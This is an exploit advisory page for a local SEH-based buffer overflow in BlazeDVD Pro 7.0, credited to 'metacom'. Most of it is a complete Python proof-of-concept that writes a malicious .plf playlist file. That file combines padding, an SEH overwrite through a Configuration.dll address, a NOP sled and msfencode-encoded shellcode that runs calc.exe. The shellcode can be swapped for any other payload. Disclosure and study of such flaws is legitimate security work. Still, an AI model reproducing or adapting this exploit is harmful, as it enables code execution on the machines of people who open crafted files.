BlazeDVD Pro 7.0 Buffer Overflow

2014.08.20
Credit: metacom
Risk: High
Local: Yes
Remote: No
CVE: N/A
CWE: CWE-119

# BlazeDVD Pro v7.0 - (.plf) Buffer Overflow SEH # Date: 19.08.2014 # Exploit Author: metacom # Vendor Homepage: http://www.blazevideo.com/ # Software Link: http://www.blazevideo.com/download/BlazeDVDProSetup.exe # Version: 7.0.0.0 # Tested on: Win 7 EN, Win 8.1 #!/usr/bin/python from struct import pack buffer= "\x41" * 608 nseh="\xeb\x06\xff\xff" seh=pack("<I", 0x6030F817) #6030F817 5E POP ESI Configuration.dll nops="\x90" * 50 # msfpayload windows/exec CMD=calc.exe R | # msfencode -e x86/alpha_mixed -c 1 -b '\x00\x0a\x0d\xff' shell=("\xdb\xcd\xd9\x74\x24\xf4\x5f\x57\x59\x49\x49\x49\x49\x49" "\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x43\x37\x51\x5a" "\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41" "\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42" "\x75\x4a\x49\x69\x6c\x6b\x58\x4f\x79\x55\x50\x75\x50\x35" "\x50\x33\x50\x4b\x39\x49\x75\x66\x51\x4a\x72\x52\x44\x6e" "\x6b\x70\x52\x44\x70\x6e\x6b\x42\x72\x44\x4c\x4c\x4b\x63" "\x62\x64\x54\x6e\x6b\x42\x52\x54\x68\x34\x4f\x6c\x77\x63" "\x7a\x35\x76\x65\x61\x4b\x4f\x74\x71\x4f\x30\x6c\x6c\x65" "\x6c\x71\x71\x53\x4c\x46\x62\x76\x4c\x37\x50\x49\x51\x68" "\x4f\x76\x6d\x57\x71\x6b\x77\x7a\x42\x7a\x50\x32\x72\x42" "\x77\x4c\x4b\x42\x72\x44\x50\x6c\x4b\x31\x52\x37\x4c\x55" "\x51\x7a\x70\x4c\x4b\x33\x70\x62\x58\x4f\x75\x6b\x70\x51" "\x64\x52\x6a\x77\x71\x78\x50\x42\x70\x4c\x4b\x52\x68\x47" "\x68\x4c\x4b\x46\x38\x37\x50\x77\x71\x5a\x73\x58\x63\x55" "\x6c\x53\x79\x4e\x6b\x66\x54\x4c\x4b\x73\x31\x38\x56\x75" "\x61\x59\x6f\x36\x51\x59\x50\x4c\x6c\x6a\x61\x4a\x6f\x34" "\x4d\x46\x61\x79\x57\x77\x48\x49\x70\x31\x65\x4b\x44\x65" "\x53\x43\x4d\x6b\x48\x65\x6b\x53\x4d\x64\x64\x53\x45\x6d" "\x32\x73\x68\x6e\x6b\x70\x58\x67\x54\x67\x71\x39\x43\x62" "\x46\x6c\x4b\x76\x6c\x42\x6b\x4e\x6b\x62\x78\x45\x4c\x37" "\x71\x38\x53\x4c\x4b\x46\x64\x4c\x4b\x45\x51\x48\x50\x4c" "\x49\x50\x44\x71\x34\x47\x54\x71\x4b\x31\x4b\x63\x51\x31" "\x49\x63\x6a\x70\x51\x69\x6f\x39\x70\x46\x38\x73\x6f\x53" "\x6a\x4e\x6b\x56\x72\x58\x6b\x4b\x36\x31\x4d\x42\x4a\x55" "\x51\x4c\x4d\x4d\x55\x38\x39\x65\x50\x65\x50\x65\x50\x56" "\x30\x62\x48\x75\x61\x4c\x4b\x62\x4f\x4f\x77\x79\x6f\x49" "\x45\x6f\x4b\x5a\x50\x6c\x75\x4d\x72\x36\x36\x42\x48\x59" "\x36\x4a\x35\x4d\x6d\x6d\x4d\x49\x6f\x49\x45\x45\x6c\x45" "\x56\x43\x4c\x76\x6a\x4f\x70\x39\x6b\x4b\x50\x42\x55\x36" "\x65\x4d\x6b\x51\x57\x44\x53\x62\x52\x50\x6f\x62\x4a\x77" "\x70\x56\x33\x6b\x4f\x4a\x75\x35\x33\x35\x31\x72\x4c\x33" "\x53\x74\x6e\x32\x45\x43\x48\x75\x35\x37\x70\x41\x41") poc = buffer + nseh + seh + nops + shell try: out_file = open("BlazeDVD.plf",'w') out_file.write(poc) out_file.close() print("[*] Malicious plf file created successfully") except: print "[!] Error creating file"

References:

http://www.blazevideo.com/download/BlazeDVDProSetup.exe


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